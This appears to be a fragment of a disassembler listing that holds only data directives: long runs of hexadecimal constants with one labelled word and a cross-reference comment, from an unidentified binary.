		dd 0C2F0CC91h, 0EAE89A03h, 0B09963FDh, 7DE287h,	64D2AFBBh
		dd 9F485588h, 2E39401h,	0C9C53470h, 98586870h, 6E3114C6h
		dd 7D00842Ah, 0DB728B0Fh, 0BD0CF353h, 3270D61Dh, 0BCEC0058h
		dd 7565D9B0h, 0DD013D27h, 55C5C02Bh, 0CDD877A5h, 0B0160015h
		dd 318BD436h, 0CC0253C7h, 0FE9F8FD6h, 2770E866h, 79972C8Ah
		dd 10EC0067h, 0E9202B03h, 77CB348h, 0FA2AEB16h,	80774540h
		dd 0FED0A879h, 8E20A03Dh, 0A39BB8DAh, 0B4D5A06Ah, 0EF37310h
		dd 68E4D120h, 84BBF46h,	7147CB00h, 2540D66Dh, 5F7A2E28h
		dd 0F68D3AFEh, 20506F02h, 28B8ECB1h, 60CC2B30h,	50FF34F7h
		dd 90383Bh, 499E9A12h, 2AF37CC0h, 63FF3514h, 98822010h
		dd 0FEA9147Dh, 78140C64h, 14066089h, 0D4342AFBh, 7DD30500h
		dd 0AECB6C5h, 0F0AF00F4h, 8685DC16h, 80F6FEAh, 0C0258C19h
		dd 0F8477C8Bh, 0FC0B011Ah, 1E1FE9E0h, 0EC33D099h, 9CDB9200h
		dd 0E76316C5h, 0AB710025h, 0FC39B4E5h, 0B2001910h, 2DF880FDh
		dd 1CC55363h, 803EC04Ch, 0F7CC8FF2h, 5000E8B9h,	0E66DE1BAh
		dd 0EF84101h, 801614CBh, 0CA26FD00h, 0EE2AD6C7h, 4C008CC4h
		dd 0CF0A71Ch, 240E0811h, 4B52945h, 0C0AD7903h, 0D490EF26h
		dd 67FF1004h, 0FCC02D2Ch, 0CFA571B6h, 88F59E40h, 0EAF8CE00h
		dd 34E82B11h, 0BCC1E700h, 0C52D4566h, 7D2EEB0h,	52D7CCA8h
		dd 879FA3E0h, 6C363900h, 3E033130h, 0A1B200D3h,	97585312h
		dd 0B8006284h, 987823C9h, 103DD242h, 11D75E0h, 8EA50A7Dh
		dd 0B7F83F46h, 10E0039h, 897CDC2Dh, 0D21EB85Ch,	1D03D077h
		dd 900F4F6Ah, 0F8BFD68Fh, 49EB00F7h, 0F3CAEEAAh, 8CF2D4A2h
		dd 3A424h, 0BE76AE43h, 131D0069h, 0A8FC3663h, 0B9C38B9Dh
		dd 815601A4h, 0ECF8B1B5h, 5DC15815h, 0EF7BE800h, 0F72E7C46h
		dd 9DA66900h, 0EA213380h, 3DF0004Eh, 31B64792h,	0ED09341Bh
		dd 8C327F28h, 462A1139h, 842C0288h, 20521244h, 0BB467F97h
		dd 0FF741C9h, 8304F56Ch, 7D43E850h, 0D85B5810h,	421F432h
		dd 291C4DE3h, 183029FBh, 0CE651Ch, 0E7E634A0h, 532DB817h
		dd 0F6796100h, 5574F821h, 2E520DA6h, 9D694887h,	22B058h
		dd 3D0B5FBEh, 7ADD5C8Ch, 46BA70Ah, 2B3B10FDh, 54873CC8h
		dd 0CE000D31h, 1E63A0DEh, 7D619B1Bh, 48029400h,	7F1DE808h
		dd 69BDB001h, 4207F212h, 6B1B818Eh, 56C498C0h, 0BC33FBDBh
		dd 4F085Eh, 42618221h, 5DCD4ED4h, 603B891Fh, 5FF779B0h
		dd 0DFD10099h, 0FB3E8F6Eh, 8CC7F86h, 14121EBh, 1324D191h
		dd 8A28984Eh, 806F2E39h
		dd 11AE443h, 57FC7AD1h,	0F3D86A29h, 0EF4DD390h,	211BE430h
		dd 0E384BEh, 0D4613170h, 802E5481h, 782447E7h, 60CAA680h
		dd 7B7B619h, 377A6335h,	1ED14024h, 4C1C41C4h, 7C4064CEh
		dd 7843A736h, 0E3321BF5h, 0E4B04111h, 9B0398C0h, 933F5BD1h
		dd 170830B9h, 0C0EC5F21h, 0F08DF80Fh, 0CB440033h, 253C84h
		dd 6CE6BD97h, 9B5C61F4h, 0E0C37A2Ah, 93F39F00h,	97FBA96Fh
		dd 4EA70A09h, 0A8ECFC84h, 0CB3C4508h, 0EBA89822h, 0C008E018h
		dd 70F19B94h, 0C01CE853h, 78007924h, 2EB058A0h,	971800D0h
		dd 73C34AD3h, 933D6596h, 8392BB5Eh, 57BF878h, 0D840FD7Ch
		dd 55B7C8FEh, 1C4D068Fh, 99406B2Eh, 0B07C5B00h,	93FB5CF9h
		dd 4330C106h, 0BE05CA04h, 0F02F2A81h, 533CE000h, 15D78678h
		dd 2E0B0E33h, 5A309C2h,	31646FC0h, 0EA6330E0h, 0E19B9AF8h
		dd 512F448Ch, 15C0F201h, 446B34F8h, 0E0614C40h,	16F500D4h
		dd 875C3FD8h, 0BCAAC782h, 27199884h, 0FC81B81Ah, 0BE0A8588h
		dd 665DE4F4h, 0C12D21F8h, 3002EB7Bh, 0C7DF26CBh, 3C9484A9h
		dd 0E8C9608h, 70848143h, 58E205B5h, 834A67Dh, 0D18385A0h
		dd 0FA95FFh, 35D71261h,	8BB05502h, 78201F1Eh, 2B08F3h
		dd 22DBD79h, 0E4134C57h, 38F60935h, 2E23503Ah, 7D05FD02h
		dd 4F58845Eh, 7F6A9F40h, 99E486D0h, 53BF5807h, 0C881D83Eh
		dd 0F9DB763Ch, 0D8420EE3h, 3F660410h, 35001623h, 0DB572B05h
		dd 56AB0081h, 859B7422h, 0A504061Ah, 9708B604h,	217D3C92h
		dd 114E0E4Ch, 97C433ADh, 357C9Ch, 7E1AE382h, 2FFDC4DFh
		dd 29630F34h, 31E96C82h, 0C499D86Ah, 50226E46h,	42608100h
		dd 4091F09Eh, 9F4E085Ch, 0DC200134h, 98029246h,	33B06A02h
		dd 0C2102A31h, 2F3E0230h, 42010045h, 61D5A82h, 0C0E7547Bh
		dd 0E2CA0E9Fh, 0B462D49Bh, 0ADC06996h, 453E05C5h, 9670672h
		dd 471B106h, 0B7C4A6F7h, 83C48865h, 91E44F44h, 0FBD900B8h
		dd 0A94C3256h, 35CE1101h, 0B6FC4FB2h, 266569E8h, 11D86D86h
		dd 0D198806Fh, 8C676EE2h, 425844h, 75AAD190h, 921DB5EBh
		dd 502A9D0Ch, 0C71321EFh, 804FF11Ah, 18DD06E0h,	0C6479F05h
		dd 93828D6Dh, 44584742h, 80D6028h, 0E0F91CCCh, 0C104CAD6h
		dd 87720174h, 801CE4A1h, 843C6111h, 1171D03h, 34D249A7h
		dd 52137683h, 0C1211990h, 9BED791Ah, 1DB8960h, 0C8EEB4E6h
		dd 408CCDCFh, 470D97ACh, 7EAD88h, 98DB713Bh, 48A8F522h
		dd 99564Ch, 5C35DF6Ch, 0F3647A99h, 6FE3E834h, 2D026922h
		dd 0F5C0B430h, 2607BD42h, 80D8842Ah, 9A189250h,	0BC9E006Ch
		dd 41994FDAh, 7007968Ch, 0BA8B6D5Bh, 0F1506191h, 7D80B055h
		dd 1EE91D94h, 0C0496BD5h, 0CC555185h, 0B701EC69h, 9854F544h
		dd 4040E436h, 431F1Ah, 611B25EFh, 0BEEC9C3Ah, 0D3556D00h
		dd 95A04251h, 0E2AB0011h, 463C0396h, 4E1215DBh,	0C402E85h
		dd 7C5CA697h, 38AE7576h, 0A8C8985Dh, 8C5AE8h, 667243F0h
		dd 0C83CF6A8h, 0CCBF042Ah, 4B0F3B01h, 503F0180h, 0DDF140F3h
		dd 0BF7ABDh, 0C6CF9C1Fh, 0AE9181B5h, 0A97D623Fh, 9826D06Fh
		dd 858EFB10h, 9B650691h, 46B013C7h, 4573BE6h, 0D976C434h
		dd 8F2A5432h, 4B314200h, 48B693E8h, 0B700C4E4h,	184E33Ah
		dd 10020EA5h, 73D3F0A7h, 0AED4E0EFh, 0F3138806h, 6D069BF6h
		dd 0EE501071h, 7F770019h, 7BC3A62Eh, 8302065Ch,	43F1F08h
		dd 0B8490CDh, 31D66A4Fh, 574674D0h, 0FFB9C700h,	0C0686C0Ah
		dd 24BF2526h, 2C46BC28h, 9E8BDE3Fh, 0A81CC19Bh,	0C0E65D1Dh
		dd 8697003Ch, 859D2AF6h, 691116EAh, 7DF800A6h, 97101EA3h
		dd 7A29B0F2h, 2AD134CCh, 810BEC18h, 18438B66h, 0B90EC4h
		dd 54132B62h, 2AC39FC8h, 9C3CCC92h, 0A60972BDh,	97CFE2FEh
		dd 802B91C8h, 0C4FE3EF0h, 0C86D599Fh, 0E8BCEC49h, 4C56E900h
		dd 825E9D4Dh, 8B90C873h, 6B0297C0h, 244AEFB0h, 22FB700h
		dd 4AB177A9h, 516E5201h, 597D060Fh, 2E88EC28h, 4F403444h
		dd 8DDE1A2Ch, 135C410Eh, 90026030h, 4B2805E5h, 9F10219Bh
		dd 8091F24Eh, 0D8324Fh,	0E0CC748Ch, 0EDA55Ch, 0C8E2F81Ch
		dd 159AAD0h, 6597FC01h,	2A64599h, 418026DDh, 0D1ECB357h
		dd 11007705h, 0D9905A0Bh, 3F5F181Ah, 4128D01h, 966830C7h
		dd 99604EA6h, 0F7A1211h, 111F44E4h, 0E2DE0A01h,	0B87F985Ah
		dd 0E4505822h, 5BCD4483h, 800CFA48h, 8C39B09Ah,	581D6444h
		dd 7E143F5h, 0D531004Dh, 4C6941E5h, 3000BF08h, 0E3388768h
		dd 0FE2E34F4h, 98550103h, 14A006FEh, 96002178h,	0F0483C0Eh
		dd 234C096h, 9346B056h,	0B6182322h, 8090022Ch, 0F9BB0004h
		dd 95814E4Ah, 3D88460Dh, 87440116h, 821603Ch, 5019804Ah
		dd 4BF2CBA2h, 0B243059Dh, 0CCB1BF41h, 45007570h, 0A098EBE1h
		dd 3789DAh, 25AD14B7h, 5C97A6E5h, 0E84EF629h, 18C40404h
		dd 0C0FA1488h, 0A4AEB9C1h, 0AA18BA80h, 1921141Bh, 368B0237h
		dd 0CA03C599h, 805C28E6h, 70DD804Ch, 192F030h, 4FED99F9h
		dd 817197CAh, 2F980A29h, 0AF302A77h, 0FB67027Ah, 6B0D842h
		dd 1A0EAC4Ch, 8B12CAFCh, 4C940AC3h, 4D3AC466h, 0F92CCE8h
		dd 46AB9EBCh, 10532431h, 42637Ch, 3B2B1FE6h, 339A4EB8h
		dd 0B446C4AAh, 5B9CF000h, 5AA9A6C4h, 68F5582Fh,	6AA8224Ah
		dd 5830F311h, 0E5048C2Dh, 0C99B9DC0h, 5C202D62h, 1282C0EDh
		dd 122FE95Dh, 970C9040h, 0C500B603h, 73B92475h,	0F8E4BFB0h
		dd 601C9EFBh, 1BA5B841h, 8BD37D07h, 0A6408060h,	0F9C3267h
		dd 0C57F627Eh, 0D5656480h, 711C6E5Fh, 1FE9198h,	55236699h
		dd 1080A29Bh, 323990C8h, 20007807h, 48EA0E8Ch, 0A2D362h
		dd 4A9A815Ch, 0A5D4731Bh, 983C6F74h, 0CA830092h, 0C9656B8Fh
		dd 87B6C8Bh, 0D27A6430h, 0D47E627Ch, 0CF701B00h, 0D5796DA6h
		dd 8F6E147Eh, 44764D6h,	2DFBA8AFh, 2024F214h, 29E608Ch
		dd 43B0236Ch, 0B80F2111h, 0A9800236h, 5374377Ah, 87C4FB1Fh
		dd 1C4A6747h, 2B8882B0h, 0A8FD5CFAh, 561DED23h,	8EC43582h
		dd 40DC1BD9h, 14426C85h, 0D02800A2h, 343FB86Eh,	0B2145E9h
		dd 9B04004Fh, 53C0DE8Bh, 0D6690C06h, 18486034h,	0C95A9F4Eh
		dd 9430DAB0h, 0B7C28804h, 0A0EA6C86h, 0A02DBF40h, 91149DF5h
		dd 65E802Ah, 0F296BA6h,	19679574h, 88447A0Bh, 0E840009Eh
		dd 3EA7442Ah, 0C806F082h, 883F329Fh, 2A44BC87h,	5254E060h
		dd 2FB4FA1Ch, 15F58280h, 9C623B8Ah, 0D19360CCh,	7F466EDDh
		dd 3F1EF222h, 66C6D18Bh, 9DA904E4h, 0F2D5D6C0h,	0ED149300h
		dd 9F11BF09h, 68AF0567h, 17022FC0h, 5506EC4h, 9C148EADh
		dd 31D463h, 0C0BC4CB1h,	4505C1FDh, 9643C09Eh, 9063A288h
		dd 10D1946Ch, 0E0876EDEh, 8D18C46h, 6E45CBDh, 94434085h
		dd 258BC0FAh, 0B9078C10h, 0DFB983Ch, 11801F09h,	0F689802Dh
		dd 14C124A3h, 0F84A511Eh, 0F47F1284h, 0C0187CBCh, 19D8C3AEh
		dd 0F5923837h, 23428A80h, 0C084FD1Bh, 78F9D567h, 0F5FE8950h
		dd 5ABA00AAh, 0B880FD19h, 0E804E213h, 0E7CB1245h, 723EA880h
		dd 6C414818h, 0EE2684h,	7A488BF8h, 0D189C075h, 82AFFE14h
		dd 43205869h, 54DD908h,	1AD4A180h, 93348166h, 0A52A2703h
		dd 0A0EF8A79h, 30A299A9h, 35884702h, 2754FB5Ch,	7A00D280h
		dd 8A494A52h, 0FAC1695h, 833A4244h, 4E657520h, 3499B3D4h
		dd 0FDB00506h, 0D0560971h, 24072E6Bh, 235B3099h, 2228AC15h
		dd 6E0C8831h, 0F0FAFBC0h
		dd 7C341872h, 558C4941h, 386AB013h, 0B45C2C43h,	2F915E01h
		dd 24235Ch, 0F692CD74h,	681366B2h, 38028C4Dh, 923D8h, 1F5BCB11h
		dd 9EA43D0Ch, 69DA022h,	9A7C43A8h, 20E11032h, 58BEDB40h
		dd 49F0EA47h, 87144Dh, 50DE52E0h, 0FB226BC5h, 24A71F07h
		dd 0CB304C5Dh, 0E4F68372h, 180C9809h, 0A130FB8Bh, 0A400D292h
		dd 0C5B164ACh, 1338C16Ah, 0CBCFA31Eh, 0A39D04h,	0BA9A9E4Dh
		dd 3F03B0CBh, 0A68A9B73h, 12C0241Bh, 941C0420h,	0C08CD14Dh
		dd 5618A30h, 4E40DCB5h,	8007CBD0h, 7E4A34A2h, 9BD42897h
		dd 977C88h, 0E9628BA5h,	471FB39Fh, 3053C748h, 2E919132h
		dd 0B8841F6Bh, 868EC00Dh, 637119C3h, 55C9E04h, 0E0A90F08h
		dd 1F92FE00h, 0DF687F88h, 0CC6E6F4Eh, 111B6A0Fh, 823C1484h
		dd 7A055D94h, 97289404h, 0BA808CA8h, 0E2C56DDDh, 0B258C209h
		dd 995CE8E4h, 0C11402C7h, 0DAD751Fh, 0E4D19643h, 61218021h
		dd 4C8A46DFh, 681A0EBDh, 87E0967Dh, 556B388Fh, 0D92E8401h
		dd 0F650625Ch, 8AF3A850h, 56BB0011h, 0B4C572DCh, 57009B07h
		dd 0C3058B73h, 541EC478h, 1C750DBh, 609152Fh, 60C24DCBh
		dd 46763424h, 80D16E87h, 0F0DB4139h, 0D39501D6h, 5272BA73h
		dd 0AF44D4F3h, 5944B8A7h, 60E76067h, 8FEC29A6h,	7904A49h
		dd 1BD84F0Fh, 0FB2003F9h, 0B9890025h, 74500CC1h, 0CC00B7CBh
		dd 0BAB28875h, 48807B63h, 530258CAh, 3B72A29Bh,	9BC44463h
		dd 0B42DC104h, 0E4FCD015h, 48219523h, 2009B895h, 850079E3h
		dd 7B8C519Ah, 0FA6A89h,	82AEEBA6h, 0FE3376E2h, 1EAFC409h
		dd 3F200048h, 6055B97h,	0CF44BD86h, 980319C6h, 3E8A6B67h
		dd 8417FA80h, 996091CCh, 0B0216902h, 31B9C02Bh,	22008602h
		dd 0F836CC92h, 98341CDAh, 8BD54A78h, 0C12AC854h, 0D011D77Eh
		dd 0E0C72A3h, 50452473h, 582095E3h, 0C3A8CB38h,	4BF90900h
		dd 0B108A04Ah, 0E79A1897h, 490EE058h, 9A6DF80h,	5BD976BCh
		dd 4EEF6420h, 0FF4C609Dh, 8C21F8C4h, 8042513Eh,	0F69CFC4Dh
		dd 99762F3h, 0E7735BA6h, 0AC770CA4h, 8CD434h, 46D9BB9Fh
		dd 71D4BC9Dh, 995C28E3h, 7A232580h, 2EC444E5h, 0AE72CF60h
		dd 3870DA14h, 0E4884B90h, 0BA1D008Dh, 0F0A36211h, 9609B2C4h
		dd 91904E76h, 943250D8h, 0A99F2A3Eh, 626681E4h,	1051852Eh
		dd 6E7608Bh, 0E1434E31h, 8840897h, 0A76A9901h, 2D67D856h
		dd 1C879420h, 898D047Ah, 348B89FDh, 0D19A8430h,	976EE011h
		dd 4080EC88h, 17D8D192h, 0E8BA489Bh, 9C7C5B18h,	0B00BFB9Eh
		dd 252C9472h, 10F2ACA4h, 0A0CF58F7h, 0DDFBD6D9h, 42F7128Ch
		dd 4E0C058Eh, 1030B493h, 13403890h, 48B779C8h, 5018245Ch
		dd 637A9F0h, 1636F60Eh,	9580874Dh, 8DB10CB0h, 0CB4F0FADh
		dd 2EE25F83h, 0A4AA457Dh, 505A08C4h, 4D899409h,	0C0606210h
		dd 0B700D051h, 48920FD7h, 77862CB4h, 27C130E8h,	1658C605h
		dd 61798888h, 7205FC0h,	0E4EAB3C3h, 84CA9F04h, 7E34D09Dh
		dd 0A8164D59h, 8C20A6DAh, 33B9965h, 3473FC68h, 18095B57h
		dd 0F6A2C04h, 0B017FDB0h, 0C8FD160Bh, 263AD398h, 2430A708h
		dd 148A9FA8h, 9D807C6Ch, 6F6EE3D1h, 3D5A448Ch, 34D19500h
		dd 0EA10FA1Fh, 459D0FF0h, 0A2CF8189h, 0B80030C9h, 508FD4E3h
		dd 5877B22Ch, 0CA9C9700h, 3CB79BD5h, 76250423h,	5791E897h
		dd 0BDA47B80h, 0AE0AC83Ah, 0C0B7D670h, 5079F660h, 68D516D8h
		dd 976C60FEh, 132CD067h, 33911C35h, 57CA2Ch, 750D8AD4h
		dd 91000F71h, 0CD97BD7Bh, 9065F55Ch, 26D460Ch, 6EE4D19Eh
		dd 3C051C77h, 6CC1D196h, 766AEC8Ch, 0CCF0029h, 2D3FD9CDh
		dd 0BA00BDCEh, 3691F25Ah, 96A2A425h
		db 34h,	40h
word_505446	dw 0D47Bh		; DATA XREF: ___:off_435718o
		dd 0BC00D897h, 9DFDCF12h, 0B0CD4EB1h, 1F5B13F4h, 23E02F7Ah
		dd 0E3ED002Dh, 0C12C498Eh, 2CFD8A24h, 341C5A12h, 903B288h
		dd 9013832Eh, 666B7E0h,	6F859880h, 441218F9h, 0A443E760h
		dd 1D40CFC4h, 52821687h, 18B01240h, 0EB8949F5h,	3CE20D3Bh
		dd 9AF80745h, 0C5B992D8h, 6057C434h, 392310Ch, 0B856BFA5h
		dd 78042C33h, 24227A9Bh, 31B0FCA0h, 93180603h, 0F09845C1h
		dd 5174B0Ch, 90C45876h,	5EBCE8ECh, 834C028Ch, 4F713034h
		dd 64445062h, 14509C81h, 378050B8h, 0D7AE6369h,	0D92A2100h
		dd 0A541DEBh, 0ACB01343h, 6BEC04CBh, 0A0C85252h, 711A0748h
		dd 50694E37h, 0BF62673Ch, 80E3471h, 5F3E3F6Fh, 80C9D892h
		dd 0CA4A5833h, 0C317C850h, 8ABA3E6Bh, 61F15D60h, 95902400h
		dd 2DAEBE9Ch, 728B00A7h, 7D7FC87Eh, 29F89DCCh, 0A0B2187Ch
		dd 0BC20894Ch, 0C8008CF3h, 0FA43CD05h, 1296CE1Eh, 20CA04B4h
		dd 7E7C1BE4h, 2245348h,	72C9249Fh, 0E2444047h, 3C082C6Ah
		dd 526CA638h, 4656285Ch, 0E82F00EDh, 82A29BECh,	0EE70C144h
		dd 441E0FB0h, 40081ACh,	16243DBCh, 6005F90Ah, 748BD140h
		dd 64C12BC8h, 472A7C2Eh, 8562F0D0h, 0A008A887h,	134DDBh
		dd 180BB008h, 5BF99B78h, 0E7469898h, 97098848h,	58465EC4h
		dd 407B5544h, 34FE7E62h, 0B4227C4Bh, 9BAA3086h,	25268212h
		dd 0B86AA007h, 98140D84h, 133B5E10h, 6824C304h,	0F26A08Ch
		dd 866CB58Ah, 8EEDA3C2h, 76CF4F60h, 0E5A85C27h,	6028E4E4h
		dd 1C71419Ah, 5E30E722h, 2E5B4907h, 1823E819h, 0D86E88EDh
		dd 28274F34h, 136744C0h, 0E88B263h, 9399739Ah, 4B0EE562h
		dd 0F12E84A3h, 70268FF8h, 380BC200h, 0C7AEFE1Fh, 0CADD0E39h
		dd 0E9EB05CBh, 6E91C81Bh, 0C6B10103h, 27001429h, 50207674h
		dd 0E97CEA36h, 0F488624Eh, 0E47501A8h, 1BAB0E71h, 0C81DC0FCh
		dd 0AFF6F472h, 0E8FBAE26h, 74164676h, 416F7400h, 83215D3Ah
		dd 49849886h, 6A079CCEh, 25F505C0h, 0E04CB645h,	0FF3E553h
		dd 7C05D4CEh, 88928454h, 204317Ch, 0B86889B4h, 0F3CFCBC0h
		dd 63FE12ACh, 71900585h, 88AD4Dh, 229C8C6Ch, 0E2C421h
		dd 8FF5315Ah, 0ACE8188Ah, 8306403Dh, 5C9977C7h,	26AAC943h
		dd 2144820h, 72AE730Bh,	38582194h, 179A2E44h, 1865F84h
		dd 0EE9D2D0Ah, 7482D07Fh, 0D7C59001h, 6DA22F96h, 2DFFE442h
		dd 23A43460h, 5940D182h, 0D51829h, 0F6DD3C8Bh, 5B4664A9h
		dd 8EB4130Bh, 0E47C384Dh, 4A6B0095h, 0A02A9C54h, 963F925Fh
		dd 3E2779C7h, 0C208216Ah, 9C3D18B7h, 41499205h,	6FDEC137h
		dd 0F5E040B3h, 0A8482E1Bh, 338DA080h, 0FCCA4830h, 648B6313h
		dd 129C0C88h, 0B003AFE9h, 649FC9B4h, 7B680093h,	11E6FBFh
		dd 460070FDh, 0A4FB51E6h, 169DFACAh, 1F314A39h,	802E9E7Ah
		dd 32C008E3h, 510391EBh, 697298FCh, 606BA2E9h, 3667CE3h
		dd 5DE36508h, 0AC04490h, 76F88B47h, 6E841000h, 0F970C545h
		dd 75A84808h, 4792F41Fh, 100C680Eh, 0FBC6379Ah,	679D220Fh
		dd 0FE0A6CFCh, 80E53905h, 823E1F87h, 0A86149E4h, 0FE14E057h
		dd 8C2F544Eh, 0F02D2A23h, 938F0435h, 82378A65h,	4E10E970h
		dd 0BC209D92h, 0B5CAF7Ah, 0CC404F4Ah, 0E8DA1863h, 0BB5F001Ch
		dd 0CE2EED3Ch, 5B00A936h, 10FA847Ch, 0BAC767Dh,	67982902h
		dd 0C4A14464h, 0FEE11831h, 0E99B2699h, 0F0507188h, 2101E7C0h
		dd 2A189420h, 463A0EFEh, 0CA3FD2BCh, 65C00126h,	392CC70Ch
		dd 68A09DFBh, 0BB537351h, 0DA344800h, 6F881FDh,	0EE6C019Bh
		dd 0B6D5E021h, 0BC083CDBh, 401C8C2Ch, 0D93A8346h, 608C9218h
		dd 42A20AFh, 0BB918A24h, 44A6F20Fh, 14A9D00Eh, 0CC01ACACh
		dd 0B69F7FBCh, 0CFE1F7A5h, 2DF20022h, 0DC55D833h, 8BA74F65h
		dd 0C026C8B0h, 0B8B1698Dh, 4E7720Bh, 0D850CBCEh, 0B645682Eh
		dd 41F54468h, 10DBC598h, 0FCB8D47Dh, 61C2801h, 8A0AF3FAh
		dd 126D96C8h, 0DCD7D8h,	0A6BCCD2Ch, 8C9C9F42h, 0E4BB1084h
		dd 0D52758A8h, 2EE45CE5h, 587E3962h, 0B9044540h, 2B1F05F5h
		dd 214DF65Bh, 0D80221F4h, 0D8036518h, 0AF97C5B1h, 44B9FEBh
		dd 0ACE292B8h, 5B305AF2h, 4FDA480Ch, 7EF8FF00h,	0C92C17F4h
		dd 48058A4Bh, 0C4C69378h, 2E220BB1h, 0D4AF547Dh, 1CF1A249h
		dd 0C288003Ah, 0C4B9F3D2h, 7A3E0E82h, 0B120ABF6h, 5B3013FBh
		dd 683CC200h, 4EA573EBh, 0D93328D0h, 99F098ACh,	182BF114h
		dd 0E424006Eh, 0AEC2F84Bh, 12505882h, 6209CBC8h, 0C6912FE9h
		dd 0AF08DFD8h, 0A8D0146Bh, 80002AC7h, 0D8C6E3BEh, 582360h
		dd 0DAFF56Eh, 686778EFh, 516439CCh, 9A081805h, 5CA00893h
		dd 7C0120D6h, 45692E62h, 0E16C5B10h, 0F0D2367Dh, 0ECC8848Bh
		dd 0ACC30AC0h, 0E9525F3h, 40CC60A7h, 19B64294h,	0F6D00600h
		dd 960B730Fh, 7F68071Dh, 47C4A137h, 0D2DEA1E7h,	82B2FCFCh
		dd 35444E09h, 0C008EDFEh, 9D32223Ah, 0C7081900h, 0F5F06E2Bh
		dd 4C0E3065h, 8869D329h, 7052D401h, 14B4DD22h, 0B415420h
		dd 18A3F758h, 3D1F9420h, 5258F28Ch, 44034BE4h, 0ECC8EF23h
		dd 4ADC2CA0h, 0FFB8907Ah, 0A912A006h, 0D8A24D95h, 0E682360Bh
		dd 905AEC29h, 58C46C85h, 571C1060h, 0BCDD8000h,	81BF3D40h
		dd 0D3774F05h, 10E30460h, 96727901h, 0D6C3B0EDh, 4A0A5C20h
		dd 0C878CB97h, 1478C1ECh, 9F41C4A8h, 0C6974A12h, 17EF8A0h
		dd 0FC625F45h, 921B01A6h, 0D8CCC880h, 6800E926h, 0DB5927C0h
		dd 0E09C5678h, 192527Eh, 9766B224h, 529BB06Dh, 7C6AF6C0h
		dd 584CFC5Ah, 8C26E8A8h, 0B5831704h, 1CB9FBEBh,	28A3C700h
		dd 45A85FDFh, 38384379h, 9C3524D1h, 0D6CF3C60h,	9A88A059h
		dd 0FB3F2DB0h, 0C0BD24E8h, 0DBCC1E1Fh, 6B9B9C07h, 1CC20105h
		dd 0ACB20FCh, 0BE09425Bh, 0C5AD65C1h, 67EBE49Ch, 0F9B86E33h
		dd 807CE8D7h, 1018C4C0h, 5C005058h, 646F980Fh, 57706D9h
		dd 92891C26h, 194A29Fh,	1AA1DEBCh, 0BC38C2F3h, 0C48439C5h
		dd 0CEE4161Ah, 6DB10D0h, 23BC2E93h, 0C9A60024h,	7144FD55h
		dd 0E3C5102h, 80C604B1h, 4E8A9B40h, 0A62F8146h,	794B8470h
		dd 0E99F00C4h, 74360ACAh, 1D01B57Ch, 52E63039h,	6ECCB9F2h
		dd 883E5E3Fh, 8500BA2Ch, 9E67E478h, 10D90DCh, 3E80D797h
		dd 0C91AFED4h, 27F4323Ah, 66C20FDh, 58A7F6h, 0DCA914B1h
		dd 177D9B2Dh, 0C0B69A78h, 3CECBD81h, 7C0893D4h,	3AC57E5Ch
		dd 311E027Dh, 7997DF75h, 185EF194h, 427C04A0h, 0F2F02A32h
		dd 0B1AF0010h, 0D40C38ACh, 9E88F675h, 5A46D484h, 0BADFB603h
		dd 0ADB078A0h, 0AC266D4Bh, 0FD11385Bh, 76038604h, 9B72C00Ah
		dd 4E51A6AAh, 54226ED4h, 29A3090h, 0A3B05811h, 0BC802C88h
		dd 55AF0232h, 36E404F7h, 0B8FE1444h, 92CC805Ch,	8CB71h
		dd 0ADEF8E0h, 7A87A742h, 0E8D17035h, 5AF220A2h,	2EFA430h
		dd 7DB8D61Ch, 0DA80EDAEh, 0F696C124h, 0A74FEC90h, 3E541020h
		dd 0CA500F2h, 6A3A203Ch, 5FEE5047h, 0DA0E0B79h,	51B3058Bh
		dd 0C448C04Ch, 72C0304h, 938E2AFh, 51CFA293h, 182C7168h
		dd 6F040B87h, 0F4A1DFC0h, 6652447Eh, 3353A22Ch,	763D26C8h
		dd 0CFC45606h, 4FF8654Ah, 0B644177Ah, 3676B160h, 0C57B2DCh
		dd 440EA0D0h, 0C4013E71h, 0C0A708Dh, 6C0E169h, 228917Ah
		dd 883C86Eh, 625AE0DAh,	182FC017h, 0E00F323h, 0C2A04036h
		dd 0E47D0053h, 0C12A9FF9h, 9D805756h, 74010267h, 3D5C7306h
		dd 9B5FC4E0h, 58D4DA52h
		dd 2FFB12FCh, 41DB98A4h, 5BC0F0CBh, 95A90F60h, 31AFC405h
		dd 50585EDAh, 2C173A30h, 2381ACDBh, 7C61D4C6h, 0F90F1250h
		dd 0A6373C80h, 4DE928CAh, 0BC9A0550h, 0C06FA2E7h, 95778338h
		dd 81294E04h, 0F4A823B8h, 57CB1201h, 533A9FCAh,	40093DECh
		dd 0E1A27A99h, 5082BDA8h, 2588723Eh, 0F55B8480h, 0BF088Ah
		dd 0E5C06AF0h, 45050BBDh, 6884B462h, 0F58B0188h, 0F464EAAAh
		dd 81B880h, 0CB5BA698h,	306B7853h, 54B6A5F0h, 53465Eh
		dd 1CE88C3h, 90CFC8BDh,	5C3DBD49h, 0B9D12200h, 42F80C7h
		dd 3472A7F8h, 0CEFCA884h, 0C50106Ah, 0B7E098F1h, 87F09C10h
		dd 1FBA8214h, 706E5B98h, 53CDC00h, 8508E4D2h, 13FB8A3Fh
		dd 18F034BBh, 7805887Ah, 0FEF0A09Dh, 6432AF3Ch,	0A25B9807h
		dd 0A49C00ACh, 0D7AD6613h, 8ABF007Ah, 2872515Dh, 0DD014C2Eh
		dd 0E5E7830h, 0A431F607h, 236C2F2Eh, 8C97005Ah,	0BFF5A4B3h
		dd 60E71F25h, 1B74030h,	4A4191F3h, 3D7D055Ch, 630E3F94h
		dd 0E8CDBF41h, 0D3CAD743h, 0E7D808D9h, 0B9441580h, 904FEB68h
		dd 3CC94C3Eh, 16E80E10h, 2CC8FC7Fh, 67D88B22h, 2E00E99Bh
		dd 73DAF694h, 0EF04DDh,	0A4B20DFBh, 0C38A7D7Ch,	82123CF8h
		dd 641D0638h, 0EC648CA6h, 9AC29E67h, 809C66C4h,	426F8000h
		dd 11E9E6Dh, 495E248h, 0EDC86A8Fh, 0F8C886F2h, 2706FD44h
		dd 0E881EFD8h, 228A16F5h, 30EDF2FCh, 9BFE4928h,	0C0968227h
		dd 4EB856D0h, 998CC097h, 47585BE1h, 0A20048E4h,	807A0271h
		dd 0C4838C7Ch, 5077509Fh, 41D5D818h, 7D91F0A2h,	50E441C1h
		dd 6E3BD1FBh, 0BEE338FCh, 0B0260225h, 8A325CBAh, 4674F4B8h
		dd 4DC3950h, 2DAEAC1Bh,	409FB082h, 805CC208h, 60376B30h
		dd 72976024h, 0C54882A9h, 0A44301A9h, 98003ECEh, 3F995B6Fh
